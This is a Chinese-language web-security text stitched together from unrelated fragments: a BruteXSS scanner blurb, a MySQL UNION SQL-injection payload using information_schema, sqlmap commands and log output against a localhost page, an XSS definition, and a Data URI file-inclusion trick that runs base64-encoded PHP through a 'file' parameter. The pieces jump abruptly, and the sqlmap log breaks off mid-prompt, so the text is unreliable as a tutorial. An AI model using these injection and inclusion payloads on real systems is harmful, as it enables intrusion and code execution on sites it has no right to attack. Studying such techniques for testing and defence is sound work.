BruteXSS 是一个非常强大和快速的跨站点脚本检测工具,可用于暴力注入参数。BruteXSS 从指定的词库加载多种有效载荷进行注入,并且使用指定的载荷和扫描检查这些存在 XSS 漏洞的参数。得益于非常强大的扫描功能,在执行任务时,BruteXSS 非常准确而且极少误报。 BruteXSS 支持 POST 和 GET 请求,并适应现代 Web 应用程序。
MySQL 中有一个数据库叫做`information_schema`,储存数据库和表的元信息。`information_schema`中有两个重要的表,一个叫`tables`,储存表的元信息,有两列特别重要,`table_schema`是所属数据库,`table_name`是表名称。另一个表示`columns`,储存列的源信息,`table_name`列是所属表名称,`column_name`列是列名称。
```
1 and 1=2 union select 1,count(table_name) from information_schema.tables where table_schema=database()
sqlmap: error: missing a mandatory option (-d, -u, -l, -m, -r, -g, -c, -x, --wizard, --update, --purge-output or --dependencies), use -h for basic or -hh for advanced help
Press Enter to continue...
```
### 判断注入点
直接使用`-u`命令把 URL 给 SqlMap 会判断注入点。
```
sqlmap -u http://localhost/sql.php?id=
```
要注意这样 sqlmap 会判断所有的动态参数,要指定某个参数,使用`-p`:
```
sqlmap -u http://localhost/sql.php?id= -p id
```
结果:
```
[*] starting at 12:05:40
[12:05:40] [WARNING] provided value for parameter 'id' is empty. Please, always use only valid parameter values so sqlmap could be able to run properly
[12:05:40] [INFO] testing connection to the target URL
[12:05:41] [INFO] heuristics detected web page charset 'utf-8'
[12:05:41] [INFO] testing if the target URL is stable
[12:05:42] [INFO] target URL is stable
[12:05:44] [INFO] heuristic (basic) test shows that GET parameter 'id' might be injectable (possible DBMS: 'MySQL')
[12:05:46] [INFO] testing for SQL injection on GET parameter 'id'
it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n]
跨站脚本攻击(Cross Site Scripting),为不和层叠样式表(Cascading Style Sheets,CSS)的缩写混淆,故将跨站脚本攻击缩写为 XSS 。恶意攻击者往 Web 页面里插入恶意 JavaScript 代码,当用户浏览器该页之时,嵌入 Web 页面里的代码会被执行,从而达到恶意攻击用户的目的。
Data URI 的格式是`data://text/plain;base64,<base64>`,同样需要远程包含。我们首先把一句话用 base64 编码,得到`PD9waHAgcGhwaW5mbygpOz8+`,然后将`file`设置为`data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b`(注意URL编码),即可执行代码。